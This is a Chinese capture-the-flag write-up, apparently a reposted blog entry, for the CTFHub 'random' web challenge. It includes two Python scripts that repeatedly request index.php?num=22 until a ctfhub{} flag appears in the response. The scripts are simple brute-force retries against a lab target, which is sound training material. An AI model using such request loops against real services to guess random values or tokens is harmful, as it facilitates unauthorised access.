本文共 2348 字,大约阅读时间需要 7 分钟。
创建环境,启动靶机:
根据题目名称与页面提示,判断此题为随机验证下一个数字的值 看到题目链接:http://xxx.ctfhub.com:10080/index.php?num=1
其通过GET
方式传递参数num
import requestsimport reurl = 'http://xxx/index.php?num=22'while True: try: r = requests.get(url) # 匹配平台flag格式 flag = re.search(r'ctfhub\{.+\}', r.text).group() except AttributeError: print('未获取到flag! 正在重试!') else: print(flag) break
脚本解析:
无限循环提交请求,直到页面中存在以ctfhub{}
格式的flag跳出循环。 运行脚本得到flag:
也可手动刷新页面,直到出现flag。
EXP如下:
# -*- coding:utf-8 -*-# name: Meng# mail: 614886708@qq.com# ctf_exp04:2017 赛客夏令营 Web-randomimport requestsimport reclass RandomNum: def __init__(self, url_input): self.data = { 'num': '22'} # 设置随机传参值为22 self.status_code = 1 # 链接状态:0:无效,1:连通 self.url = url_input self.flag = '' def url_test(self): # 可以重复输错10次链接 for i in range(9): try: # 对输入的url做补全 if self.url.endswith('index.php') or self.url.endswith('index.php/'): pass elif self.url.endswith('/'): self.url += 'index.php' else: self.url += '/index.php' # 尝试访问链接是否200 requests.get(self.url, params=self.data) except requests.exceptions.MissingSchema: print('无效链接!请重新输入!') self.url = input('请输入题目链接:') self.status_code = 0 else: self.status_code = 1 break if self.status_code == 0: print('无效链接!退出程序!') return def num_test(self): # 设置获取flag只能重复30次 for i in range(30): try: r = requests.get(self.url, params=self.data) # 匹配平台flag格式 self.flag = re.search(r'ctfhub\{.+\}', r.text).group() except: print('第 ' + str(i+1) + ' 次未获取到flag! 正在重试!') else: break def run(self): self.url_test() # 连接测试 self.num_test() # flag获取 if self.flag == '': print('已尝试30次!未获取到flag! 退出程序!') return self.flagif __name__ == '__main__': print('ctf_exp04: 2017 赛客夏令营 Web-random') url_input = input('请输入题目链接:') print(RandomNum(url_input).run()) input() # 防止退出cmd
输入题目链接,得到flag:
转载地址:http://mcraf.baihongyu.com/